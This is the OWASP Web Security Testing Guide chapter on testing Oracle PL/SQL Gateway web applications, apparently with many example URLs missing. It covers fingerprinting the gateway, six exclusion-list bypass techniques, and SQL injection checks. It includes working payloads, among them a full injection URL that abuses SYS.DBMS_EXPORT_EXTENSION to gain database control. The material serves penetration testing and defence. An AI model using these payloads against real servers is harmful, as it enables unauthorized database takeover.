WSTG - Stable
Testing for Oracle
Web based PL/SQL applications are enabled by the PL/SQL Gateway, which is is the component that translates web requests into database queries. Oracle has developed a number of software implementations, ranging from the early web listener product to the Apache
mod_plsql module to the XML Database (XDB) web server. All have their own quirks and issues, each of which will be thoroughly investigated in this chapter. Products that use the PL/SQL Gateway include, but are not limited to, the Oracle HTTP Server, eBusiness Suite, Portal, HTMLDB, WebDB and Oracle Application Server.
How to Test
How the PL/SQL Gateway Works
Essentially the PL/SQL Gateway simply acts as a proxy server taking the user’s web request and passes it on to the database server where it is executed.
- The web server accepts a request from a web client and determines if it should be processed by the PL/SQL Gateway.
- The PL/SQL Gateway processes the request by extracting the requested package name, procedure, and variables.
- The requested package and procedure are wrapped in a block of anonymous PL/SQL, and sent to the database server.
- The database server executes the procedure and sends the results back to the Gateway as HTML.
- The gateway sends the response, via the web server, back to the client.
Understanding this point is important - the PL/SQL code does not exist on the web server but, rather, in the database server. This means that any weaknesses in the PL/SQL Gateway or any weaknesses in the PL/SQL application, when exploited, give an attacker direct access to the database server; no amount of firewalls will prevent this.
URLs for PL/SQL web applications are normally easily recognizable and generally start with the following (xyz can be any string and represents a Database Access Descriptor, which you will learn more about later):
While the second and third of these examples represent URLs from older versions of the PL/SQL Gateway, the first is from more recent versions running on Apache. In the plsql.conf Apache configuration file, /pls is the default, specified as a Location with the PLS module as the handler. The location need not be /pls, however. The absence of a file extension in a URL could indicate the presence of the Oracle PL/SQL Gateway. Consider the following URL:
xxxxx.yyyyy were replaced with something along the lines of
books.search, then there’s a fairly strong chance that the PL/SQL Gateway is being used. It is also possible to precede the requested package and procedure with the name of the user that owns it - i.e. the schema - in this case the user is
In this URL, xyz is the Database Access Descriptor, or DAD. A DAD specifies information about the database server so that the PL/SQL Gateway can connect. It contains information such as the TNS connect string, the user ID and password, authentication methods, and so on. These DADs are specified in the
dads.conf Apache configuration file in more recent versions or the
wdbsvr.app file in older versions. Some default DADs include the following:
SIMPLEDAD HTMLDB ORASSO SSODAD PORTAL PORTAL2 PORTAL30 PORTAL30_SSO TEST DAD APP ONLINE DB OWA
Determining if the PL/SQL Gateway is Running
When performing an assessment against a server, it’s important first to know what technology you’re actually dealing with. If you don’t already know, for example, in a black box assessment scenario, then the first thing you need to do is work this out. Recognizing a web based PL/SQL application is pretty easy. First, there is the format of the URL and what it looks like, discussed above. Beyond that there are a set of simple tests that can be performed to test for the existence of the PL/SQL Gateway.
Server Response Headers
The web server’s response headers are a good indicator as to whether the server is running the PL/SQL Gateway. The table below lists some of the typical server response headers:
Oracle-Application-Server-10g Oracle-Application-Server-10g/10.1.2.0.0 Oracle-HTTP-Server Oracle-Application-Server-10g/220.127.116.11.0 Oracle-HTTP-Server Oracle-Application-Server-10g OracleAS-Web-Cache-10g/18.104.22.168.0 (N) Oracle-Application-Server-10g/22.214.171.124.0 Oracle HTTP Server Powered by Apache Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_plsql/126.96.36.199.3a Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_plsql/188.8.131.52.3d Oracle HTTP Server Powered by Apache/1.3.12 (Unix) mod_plsql/184.108.40.206.5e Oracle HTTP Server Powered by Apache/1.3.12 (Win32) mod_plsql/220.127.116.11.5e Oracle HTTP Server Powered by Apache/1.3.19 (Win32) mod_plsql/18.104.22.168.3c Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_plsql/22.214.171.124.3b Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_plsql/126.96.36.199.0 Oracle_Web_Listener/188.8.131.52.0EnterpriseEdition Oracle_Web_Listener/184.108.40.206EnterpriseEdition Oracle_Web_Listener/220.127.116.11.0EnterpriseEdition Oracle_Web_listener18.104.22.168.0/2.14FC1 Oracle9iAS/9.0.2 Oracle HTTP Server Oracle9iAS/22.214.171.124 Oracle HTTP Server
The NULL Test
null is a perfectly acceptable expression:
SQL> BEGIN 2 NULL; 3 END; 4 / PL/SQL procedure successfully completed.
We can use this to test if the server is running the PL/SQL Gateway. Simply take the
DAD and append
NULL, then append
If the server responds with a
200 OK response for the first and a
404 Not Found for the second then it indicates that the server is running the PL/SQL Gateway.
Known Package Access
On older versions of the PL/SQL Gateway, it is possible to directly access the packages that form the PL/SQL Web Toolkit such as the OWA and HTP packages. One of these packages is the
OWA_UTIL package, which we’ll speak about more later on. This package contains a procedure called SIGNATURE and it simply outputs in HTML a PL/SQL signature. Thus requesting
returns the following output on the webpage
"This page was produced by the PL/SQL Web Toolkit on date"
"This page was produced by the PL/SQL Cartridge on date"
If you don’t get this response but a 403 Forbidden response then you can infer that the PL/SQL Gateway is running. This is the response you should get in later versions or patched systems.
Accessing Arbitrary PL/SQL Packages in the Database
It is possible to exploit vulnerabilities in the PL/SQL packages that are installed by default in the database server. How you do this depends on the version of the PL/SQL Gateway. In earlier versions of the PL/SQL Gateway, there was nothing to stop an attacker from accessing an arbitrary PL/SQL package in the database server. We mentioned the
OWA_UTIL package earlier. This can be used to run arbitrary SQL queries:
Cross Site Scripting attacks could be launched via the HTP package:
Clearly, this is dangerous, so Oracle introduced a PLSQL Exclusion list to prevent direct access to such dangerous procedures. Banned items include any request starting with
SYS.*, any request starting with
DBMS_*, any request with
OWA*. It is possible to bypass the exclusion list however. What’s more, the exclusion list does not prevent access to packages in the
MDSYS schemas or others, so it is possible to exploit flaws in these packages:
This will return a blank HTML page with a 200 OK response if the database server is still vulnerable to this flaw (CVE-2006-0265)
Testing the PL/SQL Gateway For Flaws
Over the years, the Oracle PL/SQL Gateway has suffered from a number of flaws, including access to admin pages (CVE-2002-0561), buffer overflows (CVE-2002-0559), directory traversal bugs, and vulnerabilities that allow attackers to bypass the Exclusion List and go on to access and execute arbitrary PL/SQL packages in the database server.
Bypassing the PL/SQL Exclusion List
It is incredible how many times Oracle has attempted to fix flaws that allow attackers to bypass the exclusion list. Each patch that Oracle has produced has fallen victim to a new bypass technique. The history of this sorry story
Bypassing the Exclusion List - Method 1
When Oracle first introduced the PL/SQL Exclusion List to prevent attackers from accessing arbitrary PL/SQL packages, it could be trivially bypassed by preceding the name of the schema/package with a hex encoded newline character or space or tab:
http://www.example.com/pls/dad/%0ASYS.PACKAGE.PROC http://www.example.com/pls/dad/%20SYS.PACKAGE.PROC http://www.example.com/pls/dad/%09SYS.PACKAGE.PROC
Bypassing the Exclusion List - Method 2
Later versions of the Gateway allowed attackers to bypass the exclusion list by preceding the name of the schema/package with a label. In PL/SQL a label points to a line of code that can be jumped to using the GOTO statement and takes the following form:
Bypassing the Exclusion List - Method 3
Simply placing the name of the schema/package in double quotes could allow an attacker to bypass the exclusion list. Note that this will not work on Oracle Application Server 10g as it converts the user’s request to lowercase before sending it to the database server and a quote literal is case sensitive - thus
sys are not the same and requests for the latter will result in a 404 Not Found. On earlier versions though the following can bypass the exclusion list:
Bypassing the Exclusion List - Method 4
Depending upon the character set in use on the web server and on the database server, some characters are translated. Thus, depending upon the character sets in use, the
ÿ character (
0xFF) might be converted to a
Y at the database server. Another character that is often converted to an upper case
Y is the Macron character -
0xAF. This may allow an attacker to bypass the exclusion list:
Bypassing the Exclusion List - Method 5
Some versions of the PL/SQL Gateway allow the exclusion list to be bypassed with a backslash -
Bypassing the Exclusion List - Method 6
This is the most complex method of bypassing the exclusion list and is the most recently patched method. If we were to request the following
the application server would execute the following at the database server:
declare rc__ number; start_time__ binary_integer; simple_list__ owa_util.vc_arr; complex_list__ owa_util.vc_arr; begin start_time__ := dbms_utility.get_time; owa.init_cgi_env(:n__,:nm__,:v__); htp.HTBUF_LEN := 255; null; null; simple_list__(1) := 'sys.%'; simple_list__(2) := 'dbms\_%'; simple_list__(3) := 'utl\_%'; simple_list__(4) := 'owa\_%'; simple_list__(5) := 'owa.%'; simple_list__(6) := 'htp.%'; simple_list__(7) := 'htf.%'; if ((owa_match.match_pattern('foo.bar', simple_list__, complex_list__, true))) then rc__ := 2; else null; orasso.wpg_session.init(); foo.bar(XYZ=>:XYZ); if (wpg_docload.is_file_download) then rc__ := 1; wpg_docload.get_download_file(:doc_info); orasso.wpg_session.deinit(); null; null; commit; else rc__ := 0; orasso.wpg_session.deinit(); null; null; commit; owa.get_page(:data__,:ndata__); end if; end if; :rc__ := rc__; :db_proc_time__ := dbms_utility.get_time—start_time__; end;
Notice lines 19 and 24. On line 19, the user’s request is checked against a list of known “bad” strings, i.e., the exclusion list. If the requested package and procedure do not contain bad strings, then the procedure is executed on line 24. The XYZ parameter is passed as a bind variable.
If we then request the following:
the following PL/SQL is executed:
.. simple_list__(7) := 'htf.%'; if ((owa_match.match_pattern('inject'point', simple_list__ complex_list__, true))) then rc__ := 2; else null; orasso.wpg_session.init(); inject'point; ..
This generates an error in the error log: “PLS-00103: Encountered the symbol ‘POINT’ when expecting one of the following. . .” What we have here is a way to inject arbitrary SQL. This can be exploited to bypass the exclusion list. First, the attacker needs to find a PL/SQL procedure that takes no parameters and doesn’t match anything in the exclusion list. There are a good number of default packages that match this criteria, for example:
JAVA_AUTONOMOUS_TRANSACTION.PUSH XMLGEN.USELOWERCASETAGNAMES PORTAL.WWV_HTP.CENTERCLOSE ORASSO.HOME WWC_VERSION.GET_HTTP_DATABASE_INFO
An attacker should pick one of these functions that is actually available on the target system (i.e., returns a
200 OK when requested). As a test, an attacker can request
the server should return a
404 File Not Found response because the orasso.home procedure does not require parameters and one has been supplied. However, before the 404 is returned, the following PL/SQL is executed:
.. .. if ((owa_match.match_pattern('orasso.home', simple_list__, complex_list__, true))) then rc__ := 2; else null; orasso.wpg_session.init(); orasso.home(FOO=>:FOO); .. ..
Note the presence of FOO in the attacker’s query string. Attackers can abuse this to run arbitrary SQL. First, they need to close the brackets:
This results in the following PL/SQL being executed:
.. orasso.home();--=>:);--); ..
Note that everything after the double minus (
--) is treated as a comment. This request will cause an internal server error because one of the bind variables is no longer used, so the attacker needs to add it back. As it happens, it’s this bind variable that is the key to running arbitrary PL/SQL. For the moment, they can just use
HTP.PRINT to print BAR, and add the needed bind variable as :1:
This should return a
200 with the word “BAR” in the HTML. What’s happening here is that everything after the equals sign - BAR in this case - is the data inserted into the bind variable. Using the same technique it’s possible to also gain access to
To execute arbitrary SQL, including DML and DDL statements, the attacker inserts an execute immediate :1:
Note that the output won’t be displayed. This can be leveraged to exploit any PL/SQL injection bugs owned by SYS, thus enabling an attacker to gain complete control of the backend database server. For example, the following URL takes advantage of the SQL injection flaws in
http://www.example.com/pls/dad/orasso.home?); execute%20immediate%20:1;--=DECLARE%20BUF%20VARCHAR2(2000);%20BEGIN%20 BUF:=SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('INDEX_NAME','INDEX_SCHEMA','DBMS_OUTPUT.PUT_LINE(:p1); EXECUTE%20IMMEDIATE%20''CREATE%20OR%20REPLACE%20 PUBLIC%20SYNONYM%20BREAKABLE%20FOR%20SYS.OWA_UTIL''; END;--','SYS',1,'VER',0);END;
Assessing Custom PL/SQL Web Applications
During black box security assessments, the code of the custom PL/SQL application is not available, but it still needs to be assessed for security vulnerabilities.
Testing for SQL Injection
Each input parameter should be tested for SQL injection flaws. These are easy to find and confirm. Finding them is as easy as embedding a single quote into the parameter and checking for error responses (which include 404 Not Found errors). Confirming the presence of SQL injection can be performed using the concatenation operator.
For example, assume there is a bookstore PL/SQL web application that allows users to search for books by a given author:
If this request returns books by Charles Dickens, but
returns an error or a
404, then there might be a SQL injection flaw. This can be confirmed by using the concatenation operator:
If this request returns books by Charles Dickens, you’ve confirmed the presence of the SQL injection vulnerability.